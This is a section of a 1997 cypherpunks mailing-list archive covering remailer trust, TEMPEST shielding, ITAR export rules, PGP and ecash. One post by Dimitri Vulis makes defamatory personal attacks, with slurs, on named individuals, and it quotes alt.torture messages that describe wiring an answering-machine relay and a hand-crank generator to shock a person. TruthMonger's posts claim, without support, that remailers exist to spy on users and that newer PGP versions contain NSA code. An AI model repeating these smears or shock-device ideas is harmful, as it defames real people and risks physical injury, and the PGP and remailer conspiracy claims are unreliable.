haven't compromised the system).

  Secondly, the few remailers that aren't contolled by a
small elite within the cypherpunks come and go rather
quickly.

  Thirdly, the remailer owners only support compromised
cryptography systems such as the newer versions of PGP
produced by All-my-charges-mysteriously-disappeared-
when-I-agreed-to-switch-to-a-new-system Zimmerman.

  If you want true anonymity, learn how to hack.

TruthMonger





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ichudov@algebra.com (Igor Chudov @ home)
Date: Tue, 11 Mar 1997 17:27:16 -0800 (PST)
To: cypherpunks@toad.com (Cypherpunks)
Subject: is cypherpunks@toad.com still moderated?
Message-ID: <199703120121.TAA00349@manifold.algebra.com>
MIME-Version: 1.0
Content-Type: text


Just curious, is the moderation experiment still continuing or 
it is over?

Thank you.

	- Igor.




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "William H. Geiger III" <whgiii@amaranth.com>
Date: Tue, 11 Mar 1997 17:52:34 -0800 (PST)
To: an7575@anon.nymserver.com
Subject: Re: Subject: Anonymous Nymserver: anon.nymserver.com
In-Reply-To: <199703120047.RAA13604@shaman.lycaeum.org>
Message-ID: <199703111957.TAA07938@mailhub.amaranth.com>
MIME-Version: 1.0
Content-Type: multipart/signed; boundary="Boundary..3952.1071713687.multipart/signed"

--Boundary..3952.1071713687.multipart/signed
Content-Type: text/plain
Content-Transfer-Encoding: 7bit


In <199703120047.RAA13604@shaman.lycaeum.org>, on 03/11/97 at 06:47 PM,
   an7575@anon.nymserver.com said:


>Kevin McCurry pretended to ask:

>I would appreciate any information on the trustworthiness/security of the
>below named individuals and service. Please, friends, spare me the
>gratuitous remarks about Sameer, etc., that's not the issue inthis case.

>  Why are you asking for information on these people and 
>then stating that you don't want 'certain types' of 
>information on Sameer and others?
>  Are you connected in some way to these people, perhaps,
>and just fishing for compliments that will be supplied
>by the prepared responses of others?

>  Allow me to give my 'unprepared' response in regard to
>remailers in general, since you seem to be seeking only
>a one-sided viewpoint about the individuals involved.

>  Firstly, remailers were developed by the cypherpunks as
>a method of monitoring supposedly private communications
>of others, in order to increase their own power and wealth.
>  The communications passing through them remain private 
>and anonymous only to those who aren't running them (or who
>haven't compromised the system).

>  Secondly, the few remailers that aren't contolled by a
>small elite within the cypherpunks come and go rather
>quickly.

>  Thirdly, the remailer owners only support compromised
>cryptography systems such as the newer versions of PGP
>produced by All-my-charges-mysteriously-disappeared-
>when-I-agreed-to-switch-to-a-new-system Zimmerman.

>  If you want true anonymity, learn how to hack.

>TruthMonger

What a crock of shit!

Do you have any *PROOF* of your accusations or perhaps you are YAGS here
too spread more lies and dissinformation?

**YAGS: Yet Another Government Stooge.


--
-----------------------------------------------------------
William H. Geiger III  http://www.amaranth.com/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
                          
Finger whgiii@amaranth.com for PGP Key and other info
-----------------------------------------------------------
 
Tag-O-Matic: OS/2: Your brain.  Windows: Your brain on drugs.


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LS0tLS1CRUdJTiBQR1AgTUVTU0FHRS0tLS0tClZlcnNpb246IDIuNi4yCkNv
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UEdQIE1FU1NBR0UtLS0tLQ==
--Boundary..3952.1071713687.multipart/signed--



From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Wed, 12 Mar 1997 05:40:34 -0800 (PST)
To: cypherpunks@toad.com
Subject: re: True colours
In-Reply-To: <Pine.SUN.3.91.970311135854.29085A-100000@beast.brainlink.com>
Message-ID: <ZZkF4D6w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain


Ray Arachelian <sunder@brainlink.com> writes:

> On Mon, 10 Mar 1997 paul@fatmans.demon.co.uk wrote:
>
> > > > What evidence do you have that Dr. Vulis is KGB loving? - As far as I
> > > > saw his message only confirmed that he knew that the KGB had employed
> > > > a number of good cryptographers, without personal knowledge I cannot

I also had the honor of meeting a few of them in person, and exchanging
e-mails with others. They're much nicer people than the NSA shills.

> > > > confirm or deny this therefore I see no basis in logic for calling
> > > > him a master of disinformation...
> > >
> > > Since when do you know Vulis so well that your personal knowledge can be
> > > used to confirm what he is or isn't?  Or are you yet another Vulistentacl
> >
> > Please learn to read, I stated that I did not have enough information
> > to confirm or deny this.
>
> Exactly, and my point is this: if you don't know, why do you feel the
> need to point out that you lack the knowledge to determine whether or
> not Vulis is KGB loving?  If you don't know, why bother stating this,
> then claiming you see no basis in calling him a master of disinformation?

I will neither confirm nor deny the fact that I'm a KGB colonel. :-)

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Wed, 12 Mar 1997 05:42:13 -0800 (PST)
To: cypherpunks@toad.com
Subject: Reprehensible lying pervert Charlie Platt spams alt.torture
In-Reply-To: <332306B7.1511@gte.net>
Message-ID: <yaLF4D9w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain


Dale Thorn <dthorn@gte.net> writes:

> Dr.Dimitri Vulis KOTM wrote:
> > Graham-John Bullers <real@freenet.edmonton.ab.ca> writes:
> > > Vulis you are the pathological liar.
>
> This Graham-John character may just be one of the best autobots
> yet.  I've examined "his" messages, which show even less emotional
> content than on-the-scene responses by Sirhan Sirhan or John Hinckley.
> Obviously not hand-typed by a human.

Perhaps some enemy of the "real" Graham-John is running a 'bot that
forges drivel in his name in an effort to have him globally killfiled?

> > Charles Platt, the alcoholic yellow journalist, is a pathological liar.
> > Just look in sci.cryonics for the testimonies from dozens of people
> > (former business partners and clients) cheated from thousands of
> > dollars by Charles Platt's failed "frozen corpses" business.
> > Charles Platt almost got arrested recently when he showed up drunk
> > at a public meeting and began shouting obscenities at people.

There were more articles on sci.cryonics alleging that Charles Platt
finally got arrested this time. The cocksucker John Gilmore too got
arrested last August. Perhaps the shock of spending a night in jail
will cause Charles Platt to enter a detox program.

> Platt sounds like the ideal candidate to start another disinformation
> periodical.  Any guesses as to who his backers will be?

There are connections between Platt and panix.com and SEA and EFF and C2Net.

Charlie is a very sick pervert who posted the following on Usenet:

]--------------------------------------------------------------------------
]
]Subject:      Re: electricity torture?
]From:         cp@panix.com (Charles Platt)
]Date:         1997/01/31
]Message-Id:   <5crvmh$jhe@panix.com>
]Newsgroups:   alt.torture
]
]I suggest an enhancement to the basic phone-torture scenario. Buy a cheap
]answering machine that picks up on the third or fourth ring. Inside the
]answering machine there is usually a relay that closes when the machine
]picks up. It might be interesting to adapt that relay to supply an
]electric shock to the slave. Thus, the slave gets to sit and listen as the
]phone rings once, twice, a third time ... and of course, sometimes the
]master hangs up BEFORE the fourth ring, just to make life more
]interesting.
]
]It seems to me, true torture has to entail anticipation and uncertainty.
]
]-------------------------------------------------------------------------
]
]Subject:      Re: Orgasm control
]From:         cp@panix.com (Charles Platt)
]Date:         1997/01/05
]Message-Id:   <5ap55i$iit@panix.com>
]Newsgroups:   alt.torture
]
]Dave & Eddie (dave-ed@dircon.co.uk) wrote:
]
]> Has anyone got any experiences, tips or techniques for encouraging and
]> building up to extreme intensity a male's need for orgasm, and then
]> withholding the longed-for and urgently-needed relief of ejaculation -
]> over a very long period of time, and as a torture?
]
]Trouble is, in the long term this tends to result in enlargement of the
]prostate. Of course that can be a torture in itself (urinary problems etc)
]and I'm not saying you shouldn't do it, but at least the victim should be
]aware of these potential long-term penalties.
]
]-----------------------------------------------------------------------
]
]Subject:      Re: Elec. Tort. (I was shocked with 220...)
]From:         cp@panix.com (Charles Platt)
]Date:         1997/02/19
]Message-Id:   <5egkkm$qbq@panix.com>
]Newsgroups:   alt.torture
]
]JBtspflk (jbtspflk@aol.com) wrote:
]> BTW, I always thought that the telephone ringing signal was 20Hz AC, not
]> DC.
]
]You're right, the ring signal is AC. Old phones used a rectifier that
]would pass the AC and ring the bell. When the ringing signal is not
]present, there is a DC potential on the line. This isn't painful but the
]AC ring signal does, er, give you a shock.
]
]This doesn't have much to do with torture, does it? Unless, of course,
]you regard boredom as a form of torture. "Tonight, my dear, I am going to
]tie you down--and read interesting facts about the TELEPHONE SYSTEM!"
]
]----------------------------------------------------------------------
]
]Subject:  Re: Hand Crank Generator
]From:  cp@panix.com (Charles Platt)
]Date:  1997/01/06
]Message-Id:  <5ashd1$k2m@panix.com>
]Newsgroups: alt.torture
]
]Leonard (ixion@dorsai.org) wrote:
]> How will this tell me how to effectively use this device?
]> I'm still looking for practical data.
]> Anybody ever use one of these things?
]
]All I can tell you is I used to fool around with one of these things, as a
]kid, with a friend. As kids, we took turns with one person turning the
]handle while the other took a wire in each hand. As an adult, I would say
]this is definitely not such a great idea. I find it hard to believe,
]however, that you're going to do any harm if the two (dry) conductors
]touch (dry) skin just a few inches apart. As a previous post said, avoid
]running current through major organs (heart, brain, etc!).
]
]A previous post gave various resistance values for skin. If you want to
]know how much current the generator will pass through skin, first obtain a
]potentiometer (variable resistor) that can take a reasonable amount of
]current--1 watt, say. Use a volt/amp/ohm meter to calibrate the
]potentiometer--i.e. mark where the knob points for 1000 ohms, 5000 ohms,
]etc. Now attach one wire from your generator to one side of the
]potentiometer, link the other side of your potentiometer with your
]volt/amp/ohm meter, switch the meter to measure CURRENT (amps), and attach
]the other side of the meter to the other wire of your generator. In other
]words, the generator, potentiometer, and meter form a closed daisy chain.
]Crank the handle at different potentiometer settings and see what readings
]you get from your meter. This will only be an APPROXIMATE guide, and you
]may want to check the skin resistance of your actual test subject too.
]
]Note: all the above advice dates back to stuff I did 25 years ago. I think
]it's accurate (if it's not, someone will probably flame me anyway); but
]as with all forms of consensual torture, it might be a good idea to try it
]on yourself first.
]
]------------------------------------------------------------------------
]




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Stewart <stewarts@ix.netcom.com>
Date: Tue, 11 Mar 1997 23:15:10 -0800 (PST)
To: John Young <jya@pipeline.com>
Subject: [POLITICS] Re: CIA Spy Expelled
In-Reply-To: <1.5.4.32.19970311201339.0085e134@pop.pipeline.com>
Message-ID: <3.0.1.32.19970311221952.00633d30@popd.ix.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain


At 03:13 PM 3/11/97 -0500, John Young wrote:
>Thanks to UM we offer an English version of the Spiegel 
>report on the US spy expelled by Germany (cited by NYT).
>CIA_ami

It may or may not have been coincidence, but this happened
just before the Senate Confirmation hearings for
Anthony Lake as CIA director....

Lake was a big honcho in the recent Yankee takeover of Haiti;
Haiti is also in the news because one of their ex-generals,
who was part of the coup government that the US government supported
and trained in "anti-drug" activities, was busted for smuggling
several tons of cocaine and heroin into the US through Haiti.


#			Thanks;  Bill
# Bill Stewart, +1-415-442-2215 stewarts@ix.netcom.com
# You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp
#     (If this is a mailing list, please Cc: me on replies.  Thanks.)





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Sergey Goldgaber <sergey@el.net>
Date: Tue, 11 Mar 1997 19:40:13 -0800 (PST)
To: "William H. Geiger III" <whgiii@amaranth.com>
Subject: Re: Subject: Anonymous Nymserver: anon.nymserver.com
In-Reply-To: <199703111957.TAA07938@mailhub.amaranth.com>
Message-ID: <Pine.LNX.3.95.970311223527.141B-100000@void.el.net>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

On Tue, 11 Mar 1997, William H. Geiger III wrote:

- -> In <199703120047.RAA13604@shaman.lycaeum.org>, on 03/11/97 at 06:47 PM,
- ->    an7575@anon.nymserver.com said:
- -> 
- -> 
- -> >Kevin McCurry pretended to ask:
- -> 
- -> >I would appreciate any information on the trustworthiness/security of the
- -> >below named individuals and service. Please, friends, spare me the
- -> >gratuitous remarks about Sameer, etc., that's not the issue inthis case.
- -> 
- -> >  Why are you asking for information on these people and 
- -> >then stating that you don't want 'certain types' of 
- -> >information on Sameer and others?

** TRASH CUT **

- -> >  If you want true anonymity, learn how to hack.
- -> 
- -> >TruthMonger
- -> 
- -> What a crock of shit!
- -> 
- -> Do you have any *PROOF* of your accusations or perhaps you are YAGS here
- -> too spread more lies and dissinformation?
- -> 
- -> **YAGS: Yet Another Government Stooge.

Actually, I think anon7575 is a true cypherpunk in spirit, regardless of the
truth value of what he said.

Spreading paranoia is very conducive to security.


 ............................................................................
 . Sergey Goldgaber <sergey@el.net>      System Administrator        el Net .
 ............................................................................
 .   To him who does not know the world is on fire, I have nothing to say   .
 .                                                      - Bertholt Brecht   .
 ............................................................................

-----BEGIN PGP SIGNATURE-----
Version: 2.6.2
Comment: http://www.efh.org/pgp/pgpwork.html explains this signature.

iQCVAwUBMyYlA8gbnd/MibbZAQE3zAQAiPVkKsqHLK1ZVZd7i49exuFt5UD/J8Sz
YuauR7l7wg002vowmzrauYrAbDoK0eDMCxaqV1Va6vpKsao82I5Z6/6MBGf3qWj5
1ZgyGYDBAWgYRyjloKcnSwKUL+amPmrk2prrhJjVwcodUxFcX4lPdWzoPjRcRuj1
OQ+rB8Jp5wY=
=30wt
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: TruthMonger <an7575@anon.nymserver.com>
Date: Tue, 11 Mar 1997 22:26:08 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Anonymous Nymserver: anon.nymserver.com
In-Reply-To: <19970312024006.27898.qmail@anon.lcs.mit.edu>
Message-ID: <199703120626.XAA27069@shaman.lycaeum.org>
MIME-Version: 1.0
Content-Type: text/plain



Keely McCurry wrote:
> From: an7575@anon.nymserver.com
> Date: Tue, 11 Mar 1997 17:47:31 -0700 (MST)
> 
> Kevin McCurry pretended to ask:
> 
> I would appreciate any information on the trustworthiness/security of the
> below named individuals and service. Please, friends, spare me the gratuitous
> remarks about Sameer, etc., that's not the issue inthis case.
> 
>   Why are you asking for information on these people and
> then stating that you don't want 'certain types' of
> information on Sameer and others?
>   Are you connected in some way to these people, perhaps,
> and just fishing for compliments that will be supplied
> by the prepared responses of others?

>   Firstly, remailers were developed by the cypherpunks as
> a method of monitoring supposedly private communications
> of others, in order to increase their own power and wealth.
> <<<<
> Well, that is food for thought. It's an angle I had not considered.

  The motivation behind the 'generosity' of others should always
be considered as a factor.

>   The communications passing through them remain private
> and anonymous only to those who aren't running them (or who
> haven't compromised the system).
> <<<<
> The system does involve trust on the side of the senders and integrity on the
> side of the remailers. That was my question: are there members of this list
> who can vouch [not swear] for or deny the integrity of the individual running
> the anon.nymserver.com nymserver?
> >>>>

  You are asking for opinions from people you don't personally know for
opinions as to the integrity of others whom you do not know, in order
to make decisions regarding placing your trust in someone else to 
guarantee your privacy and/or anonymity?

> Is the server I asked about controlled, or not?

Received: (from root@localhost) by shaman.lycaeum.org (Partyon/dude!)
  Judging from the (Partyon/dude!) in the headers from the server,
perhaps questions regarding 'controlled substances' might be more
pertinent.  
  As well, the new-user info they send out tells you how to hack the
accounts of others on the system, then tells you that the 'protection'
against this is defaulted to 'off'. It goes on to say that you should
turn it 'on' only if you are 'paranoid' of someone hacking 'your'
account.
  i.e. - if you don't notice or understand the implications of this,
then, by default, you are 'fair game' for hackers on their server.

>   Thirdly, the remailer owners only support compromised
> cryptography systems such as the newer versions of PGP
> produced by All-my-charges-mysteriously-disappeared-
> when-I-agreed-to-switch-to-a-new-system Zimmerman.

> What do you mean support? Which "newer versions?" Where does 2.6.2. stand in
> this hierarchy? Must we use the i versions? I use several versions including
> the international, and have noticed no difference in the ways the remailers
> process the versions.

  PGP 2.0-->2.3a were released outside of the U.S. and imported into
the country.
  The use of PGP=>2.5 suddenly became a 'non-issue' for use in the U.S.
because they use both the algorithm and sub-routines developed by the
NSA and the Military.
  Think about it.

TruthMonger

>def 2. one who attempts to stir up or spread something that is usually
>petty or discreditable

  Such as blind acceptance of remailers and iconic cryptographical
software?





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Dale Thorn <dthorn@gte.net>
Date: Tue, 11 Mar 1997 23:33:37 -0800 (PST)
To: TruthMonger <an7575@anon.nymserver.com>
Subject: Re: TEMPEST protection
In-Reply-To: <199703120604.AAA00512@manifold.algebra.com>
Message-ID: <33265C33.15BB@gte.net>
MIME-Version: 1.0
Content-Type: text/plain


TruthMonger wrote:
>   Having had electro-shock therapy, I consider myself
> somewhat of an expert in this area.
>   I have an outdated computer which I set next to my new
> computer, and I have self-running programs running on it
> all the time. I also add a keyboard input device when I
> want a little extra *noise* in the air. (It uses those
> *ducks* that swing up and down, dipping their beaks in
> a glass of water.)

Actually, the computer you type on will be very easy to pick out
of the noise field with modest spy equipment sitting down the street.

There's a company (I lost the brochure) who sell EM attenuator
material, some preconfigured, and presumably some bulk.  It should
be easy to find on the Web.  Once you get some really dramatic
attenuation, particularly of the keyboard (and particularly during
password confirmations, etc.), you should do your own preliminary
monitoring with some of those band-sweep gadgets.  Steady noise
of course is nothing compared to the spikes from some of the keyboard
outputs...

Once you've identified all (we can hope, can't we) of the problem
signals still leaking through the shielding (albeit at greatly
reduced levels), you can direct different kinds of efforts there,
including random noise from other computers which use the exact
same output devices.

HP has been selling Tempest-approved PC's since the early 1980's
(if not before), and at not too steep a price, either, so it can't
be all that difficult, once you get a handle on it.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Stewart <stewarts@ix.netcom.com>
Date: Tue, 11 Mar 1997 23:42:07 -0800 (PST)
To: TruthMonger <an7575@anon.nymserver.com>
Subject: Re: Anonymous Nymserver: anon.nymserver.com
In-Reply-To: <19970312024006.27898.qmail@anon.lcs.mit.edu>
Message-ID: <3.0.1.32.19970311234111.005d3bb0@popd.ix.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain


Someone calling themselves TruthMonger wrote:
>>   Firstly, remailers were developed by the cypherpunks as
>> a method of monitoring supposedly private communications
>> of others, in order to increase their own power and wealth.

That message was relatively funny, and trust is a serious issue
in this business - even though the suggestion that _we_ in the
Cypherpunks Elite Cabal did that, it doesn't mean that there
aren't People With Ulterior Motives running remailers, or remailers
hosted on machines run by bad guys who are actually monitoring their users.

However, if you want to spread Fear, Uncertainty, and Doubt,
at least keep your facts straight; it does a much better job.
>>   Thirdly, the remailer owners only support compromised
>> cryptography systems such as the newer versions of PGP
>> produced by All-my-charges-mysteriously-disappeared-
>> when-I-agreed-to-switch-to-a-new-system Zimmerman.
.....
>  PGP 2.0-->2.3a were released outside of the U.S. and imported into
>the country.
>  The use of PGP=>2.5 suddenly became a 'non-issue' for use in the U.S.
>because they use both the algorithm and sub-routines developed by the
>NSA and the Military.

The new algorithm was the International Drug Entrapment Agency algorithm,
introduced in PGP 2.0 to replace the previous non-NSA-crackable algorithm,
Bass-O-Matic.  Pay no attention to the comments in the source about fnords,
/* these aren't the subroutines you're looking fnord */ and follow the money.
PGP 2.5 became a non-issue because RSAREF takes care of the patent problem -
which is largely because the widespread use of PGP really did spread the 
RSA algorithm's popularity, and giving away free licenses was about the only
way for RSA Inc. to regain any control over it at all.  If you want to do
a better job of FUD, you could talk about the under-the-table relationship
between MIT and RSA or the RSA and NSA (they're only different by one letter!)
or notice that the CAPSTONE implementations of Clipper used algorithms
patented by PKP...


#			Thanks;  Bill
# Bill Stewart, +1-415-442-2215 stewarts@ix.netcom.com
# You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp
#     (If this is a mailing list, please Cc: me on replies.  Thanks.)





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: TruthMonger <an7575@anon.nymserver.com>
Date: Tue, 11 Mar 1997 23:01:32 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: TEMPEST protection
In-Reply-To: <199703120604.AAA00512@manifold.algebra.com>
Message-ID: <199703120701.AAA28172@shaman.lycaeum.org>
MIME-Version: 1.0
Content-Type: text/plain



Russian spy Igor Chudov whispered:

>I would like to find out how hard (and expensive) would it be
>to try to protect my computer by TEMPEST-like measures.

>I am not an electrical engineer and am looking (hopefully) for
>a relatively easy to understand do-it-yourself type of manual.

  Having had electro-shock therapy, I consider myself 
somewhat of an expert in this area.
  I have an outdated computer which I set next to my new
computer, and I have self-running programs running on it
all the time. I also add a keyboard input device when I
want a little extra *noise* in the air. (It uses those 
*ducks* that swing up and down, dipping their beaks in
a glass of water.)

Not that I think that Martians from the flying saucers are already
listening, but it is interesting to find out how to do this stuff.

  For Martians, use an aluminum-foil hat. (That's common
knowlege).

TruthMonger





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ichudov@algebra.com (Igor Chudov @ home)
Date: Tue, 11 Mar 1997 22:07:58 -0800 (PST)
To: cypherpunks@algebra.com
Subject: TEMPEST protection
Message-ID: <199703120604.AAA00512@manifold.algebra.com>
MIME-Version: 1.0
Content-Type: text


Ladies and Gentlemen,

I would like to find out how hard (and expensive) would it be
to try to protect my computer by TEMPEST-like measures.

I am not an electrical engineer and am looking (hopefully) for
a relatively easy to understand do-it-yourself type of manual.

I have heard from my acquaintaince who is a tempest professional that 
it was not very possible. If that is indeed true, are there any
measures that can be taken to at least complicate spying on my computer?

Not that I think that Martians from the flying saucers are already
listening, but it is interesting to find out how to do this stuff.

Thank you very much.

	- Igor.




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Dave Emery <die@pig.die.com>
Date: Tue, 11 Mar 1997 21:24:48 -0800 (PST)
To: cypherpunks@toad.com
Subject: U.S. State Department crackdown (fwd)
Message-ID: <199703120526.AAA11078@pig.die.com>
MIME-Version: 1.0
Content-Type: text


Jim Conrad wrote >
>From jjc@infi.net  Wed Mar 12 00:21:16 1997
Date: Wed, 12 Mar 1997 00:20:36 -0500 (EST)
Message-Id: <2.2.16.19970312001929.4db72c86@mailhost.norfolk.infi.net>
X-Sender: jjc@mailhost.norfolk.infi.net
X-Mailer: Windows Eudora Pro Version 2.2 (16)
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
To: die@die.com, ttyler@mich.com, troach@netcom.com, lrkn@zeus.anet-dfw.com,
        crisp@netcom.com, victor@best.com,
        "Michael F. Peyton" <Michael.Peyton@MCI.com>, dwilson@paprika.mwc.edu,
        stever@infi.net, rbritt@visi.net, larry51@aol.com, jmccolman@infi.net,
        brueger@infi.net, lburke@infi.net, donjr@infi.net, acolejr@erols.com
From: Jim Conrad <jjc@infi.net>
Subject: U.S. State Department crackdown

Thought you'all might find this interesting ...


>Return-Path: jmatk@tscm.com
>X-Sender: jmatk@tiac.net
>Date: Tue, 11 Mar 1997 17:26:56 -0500
>To: jmatk@tscm.com
>From: jmatk@tscm.com (James M. Atkinson, Comm-Eng)
>Subject: U.S. State Department crackdown
>
>The U.S. State Department is starting to crackdown on the illegal
>export of TSCM and SIGINT equipment under ITAR.
>
>Noice how section (b) is worded:
>
>"...equipment designed or modified to counteract electronic surveillance
>or monitoring."
>
>-jma
>
>
>=================================================================
>
>DEPARTMENT OF STATE - Bureau of Politico-Military Affairs
>22 CFR Parts 120, 121, 122, 123, 124, 125, 126, 127, 128, and 130
>
>=================================================================
>
>  Category XI-Military [and Space] Electronics
>
>   (a) Electronic equipment not included in Category XII of the U.S. Munitions
>List which is specifically designed, modified or configured for military
>application. This equipment includes but is not limited to:
>
>   *(b) Electronic systems or equipment specifically designed, modified, or
>configured for intelligence, security, or military purposes for use in search,
>reconnaissance, collection, monitoring, direction-finding, display,
analysis and
>production of information from the electromagnetic spectrum and electronic
>systems or equipment designed or modified to counteract electronic surveillance
>or monitoring. A system meeting this definition is controlled under this
>subchapter even in instances where any individual pieces of equipment
>constituting the system may be subject to the controls of another U.S.
>Government agency. Such systems or equipment described above include, but are
>not limited to, those:
>
>   (1) Designed or modified to use cryptographic techniques to generate the
>spreading code for spread spectrum or hopping code for frequency agility. This
>does not include fixed code techniques for spread spectrum.
>
>   (2) Designed or modified using burst techniques (e.g., time compression
>techniques) for intelligence, security or military purposes.
>
>   (3) Designed or modified for the purpose of information security to suppress
>the compromising emanations of information-bearing signals. This covers TEMPEST
>suppression technology and equipment meeting or designed to meet government
>TEMPEST standards. This definition is not intended to include equipment
designed
>to meet Federal Communications Commission (FCC) commercial electro-magnetic
>interference standards or equipment designed for health and safety.
>
>
>
> ===============================================================
> "If it doesn't involve a torque wrench, then it's not TEMPEST"
> ===============================================================
>  James M. Atkinson                       Phone: (508) 546-3803
>  Granite Island Group - TSCM.COM
>  127 Eastern Avenue #291                 http://www.tscm.com/
>  Gloucester, MA 01931-8008                  jmatk@tscm.com
> ===============================================================
>      The First, The Largest, The Most Popular, and the Most
>      Complete TSCM Counterintelligence Site on the Internet
> ===============================================================
>
>
>
<:><:><:><:><:><:><:><:><:><:><:><:><:><:><:><:><:><:><:><:><:><:><:><:>
<:>       Jim Conrad - Ocean View Communications - jjc@infi.net      <:>
<:>  757-490-8127 Office  -  757-587-8251 Fax - 757-473-6740 Pager   <:>
<:><:><:><:><:><:><:><:><:><:><:><:><:><:><:><:><:><:><:><:><:><:><:><:>





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: MLM-Powerhouse@cash-in-now.net
Date: Wed, 12 Mar 1997 03:51:09 -0800 (PST)
To: (Recipient list suppressed)
Subject: Everything You Need to Succeed in MLM!
Message-ID: <3.0.1.32.19970312010233.006fdd58@cash-in-now.net>
MIME-Version: 1.0
Content-Type: text/plain


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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Lucky Green <shamrock@netcom.com>
Date: Wed, 12 Mar 1997 01:04:02 -0800 (PST)
To: Hayashi_Tsuyoshi <declan@well.com>
Subject: Re: Wassenaar Arrangement and "sensitive dual-use items"
Message-ID: <3.0.32.19970312010250.0068a24c@netcom9.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain


At 07:21 AM 3/11/97 +0900, Hayashi_Tsuyoshi wrote:
>Although I have not seen it, there should be the Japanese
>translated version of the W.A.

While it is true that MITI has halted all exports of crypto products since
late September, citing their obligations under the Wassenaar "arrangement",
numerous high level meetings conducted by Japanese industry heavyweights
with MITI produced neither a copy of the arrangement nor any written MITI
guidelines. MITI reserves the right to decided on a case by case basis. So
far, every single export application has been denied.



-- Lucky Green <mailto:shamrock@netcom.com> PGP encrypted mail preferred

   "I do believe that where there is a choice only between cowardice and
    violence, I would advise violence." Mahatma Gandhi




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: TruthMonger <an7575@anon.nymserver.com>
Date: Wed, 12 Mar 1997 00:06:55 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Ecash Brain Tennis
In-Reply-To: <199703111801.KAA23982@crypt.hfinney.com>
Message-ID: <199703120806.BAA00437@shaman.lycaeum.org>
MIME-Version: 1.0
Content-Type: text/plain



Hal Finney wrote:

> 

> On the Wired "brain tennis" debate, http://www.braintennis.com/, Kawika

> Daguio of the American Bankers Association wrote:

> 

> > The real danger of cyberspace is that it could be the tragedy of

> > the commons in waiting.  Technology alone won't provide participants

> > sufficient security for e-commerce to flourish. Law, tradition, and good

> > reputations and technology give rise to trust. Trust cannot be established

> > solely though technical protocols. And trust is not irrelevant.

> 

> What do you think he means about a "tragedy of the commons"?

> I wonder if he just meant that there would be too many "commoners" trying

> to engage in commerce, so you couldn't know who to trust? 

  Be assured that those already in control of commerce in 
this country and others have already written new laws 'in
their head' concerning the future of eca$h.
  I predict that these laws will be for our 'protection,'
but will have the curious effect of limiting the control
of eca$h to the already rich and powerful.

  Some groups such as the Anguila Antagonists may be able 
to wrest a certain number of digital dollars from the grip
of the system currently in place, but above a certain point,
they will eaten up, either passively or aggressively (crushed
or bought off).
  If 'outsiders' begin to make too large a dent in the main
players' piece of the action, then we can expect to see events
similar to the Junk Bonds fiasco, with the 'bad guys' set-up
and knocked down like bowling pins.

  We can expect automatic taxation at the time of all eca$h
transactions, as well as strict laws against anonymity in the
transfer of eca$h.
  Freelance cryptographers are going to be outlaws, by decree
of law. It is quite simply a matter of money (power and
control being merely prerequisites for controlling money).

TruthMonger





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: TruthMonger <an7575@anon.nymserver.com>
Date: Wed, 12 Mar 1997 00:46:33 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Anonymous Nymserver: anon.nymserver.com
In-Reply-To: <19970312024006.27898.qmail@anon.lcs.mit.edu>
Message-ID: <199703120846.BAA02942@shaman.lycaeum.org>
MIME-Version: 1.0
Content-Type: text/plain



Bill Stewart wrote:

> 

> However, if you want to spread Fear, Uncertainty, and Doubt,

> at least keep your facts straight; it does a much better job.


  The straight facts are that you can't trust your best
friend not to bop your old-lady, given ample opportunity,
and to put even more trust in a stranger is foolish.

> >  PGP 2.0-->2.3a were released outside of the U.S. and imported into

> >the country.

> >  The use of PGP=>2.5 suddenly became a 'non-issue' for use in the U.S.

> >because they use both the algorithm and sub-routines developed by the

> >NSA and the Military.

> 

> The new algorithm was the International Drug Entrapment Agency algorithm,

> introduced in PGP 2.0 to replace the previous non-NSA-crackable algorithm,

> Bass-O-Matic.  Pay no attention to the comments in the source about fnords,

> /* these aren't the subroutines you're looking fnord */ and follow the money.


> PGP 2.5 became a non-issue because RSAREF takes care of the patent problem -

> which is largely because the widespread use of PGP really did spread the

> RSA algorithm's popularity, and giving away free licenses was about the only

> way for RSA Inc. to regain any control over it at all.

  Are you saying that the patent on the RSA algorithm wasn't
enforceable?

>  If you want to do

> a better job of FUD, you could talk about the under-the-table relationship

> between MIT and RSA or the RSA and NSA (they're only different by one letter!)

> or notice that the CAPSTONE implementations of Clipper used algorithms

> patented by PKP...


  The relationship between MIT and the NSA and the Military
isn't very far under the table. 
